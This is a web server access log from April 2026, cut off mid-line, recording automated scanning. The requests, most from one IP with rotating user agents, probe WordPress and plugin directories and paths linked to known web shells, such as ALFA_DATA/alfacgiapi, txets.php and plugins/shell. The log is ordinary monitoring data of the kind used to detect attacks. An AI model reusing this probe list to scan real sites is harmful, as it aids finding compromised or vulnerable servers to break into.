212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /components/com_newsfeeds/models/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:39 +0300] "GET /.trash7309/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-includes/assets/wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:40 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /images/news_event/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /templates/beez5/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-admin/js/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /upload/bilder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /files/shares/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:41 +0300] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-content/plugins/content-management/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-content/themes/Avada/licensing/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-content/plugins/tunnelforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-includes/js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-json/wp/v2/give_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-content/plugins/ultimate-member/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:42 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-content/plugins/js-support-ticket/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-content/plugins/easy-themes-manager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-content/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-admin/user/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /assets/bootstrap-fileupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-content/plugins/yanierin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-content/plugins/profile-builder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /management/assets/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:43 +0300] "GET /assets/worders_front/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /assets/jquery-ui/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/themes/Avada/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/uploads/fusion-forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/themes/Avada/includes/lib/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/themes/jupiter/framework/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-includes/blocks/site-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/plugins/jupiterx-core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.154.98.114 - - [19/Apr/2026:03:47:05 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [19/Apr/2026:03:47:05 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [19/Apr/2026:03:47:05 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 31.57.184.107 - - [19/Apr/2026:04:01:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.154.98.114 - - [19/Apr/2026:03:47:05 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [19/Apr/2026:03:47:05 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 